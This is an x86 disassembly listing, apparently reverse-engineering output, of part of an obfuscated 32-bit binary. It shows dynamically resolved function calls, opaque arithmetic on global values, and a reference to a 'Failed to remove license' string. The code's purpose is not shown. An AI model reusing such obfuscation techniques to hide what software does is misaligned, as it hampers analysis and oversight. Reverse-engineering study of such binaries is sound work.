mov dword [ebp - 0x78], 0xffffff49
movups xmm0, xmmword [ebp - 0x84]
psubd xmm1, xmm0
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
add eax, 0xb
jmp 0x1000562e
push 0x46
mov edx, 0x2296
mov eax, str.Failed_to_remove_license
pop ecx
add edx, ecx
lea eax, [eax + 2]
cmp edx, 0x15ef
ja 0x100053f2
movzx ecx, word [eax]
test ecx, ecx
jne 0x100053dc
jmp 0x100053f7
call fcn.1000114c
mov edx, dword [0x10026478]
lea eax, [edx + 0x45d36bcc]
imul eax, eax, 0x9b8c9af
mov dword [0x10026068], eax
call fcn.1000114c
mov ecx, dword [ebp - 0x1bc]
imul eax, edx, 0xaf217e3a
lea edx, [ebp - 0x240]
push edi
mov dword [0x10026478], eax
call fcn.1001adf3
call eax
mov ecx, dword [ebp - 0x30]
lea eax, [ebp - 0x68]
push eax
lea edx, [ebp - 0x27c]
call fcn.1001adf3
call eax
cmp eax, dword [ebp - 0x14]
jne 0x1000547c
mov eax, dword [0x10026068]
or eax, 0x5e3fc5ec
mov dword [ebp - 0x58], 8
push 0x63
mov dword [0x10026478], eax
xor eax, eax
mov dword [ebp - 0x54], 0xffffff96
pop ecx
add ecx, dword [ebp + eax*4 - 0x58]
inc eax
cmp eax, 2
jl 0x1000546d
jmp 0x1000533f
mov ecx, dword [ebp - 0x1b8]
lea edx, [ebp - 0x24c]
push eax
call fcn.1001adf3
call eax
mov ecx, dword [ebp - 0x1b4]
lea eax, [ebp - 0x28c]
push eax
lea edx, [ebp - 0x29c]
call fcn.1001adf3
call eax
cmp eax, dword [ebp - 0x1b0]
je 0x100054ea
mov eax, dword [0x10026478]
or eax, 0xb4835e80
mov dword [ebp - 0x24], 0x5b
push 0xd
mov dword [0x10026068], eax
xor eax, eax
pop ecx
mov dword [ebp - 0x20], 0x52
mov dword [ebp - 0x1c], 0xffffff5f
sub ecx, dword [ebp + eax*4 - 0x24]
inc eax
cmp eax, 3
jl 0x100054db
jmp 0x1000533f
mov ecx, dword [ebp - 0x1c0]
lea eax, [ebp - 0x1e8]
push eax
lea edx, [ebp - 0x1d8]
call fcn.1001adf3
call eax
cmp eax, dword [ebp - 8]
je 0x100055bf
mov esi, dword [0x10026068]
mov ecx, str.Failed_to_remove_license
push 0xf
pop eax
push 0x46
mov dword [ebp - 0x48], eax
xor esi, 0xe7d00c0e
mov dword [ebp - 0x44], 0x60
mov eax, 0xe50
mov dword [ebp - 0x40], 0xffffff38
pop edx
add eax, edx
lea ecx, [ecx + 2]
cmp eax, 0x1220
ja 0x1000554f
mov ecx, dword [ebp - 0x54]
lea eax, [ebp - 0x20]
push eax
lea edx, [ebp - 0x80]
call fcn.1001adf3
call eax
cmp eax, dword [ebp - 0x34]
je 0x1000561c
pop edi
pop esi
leave
ret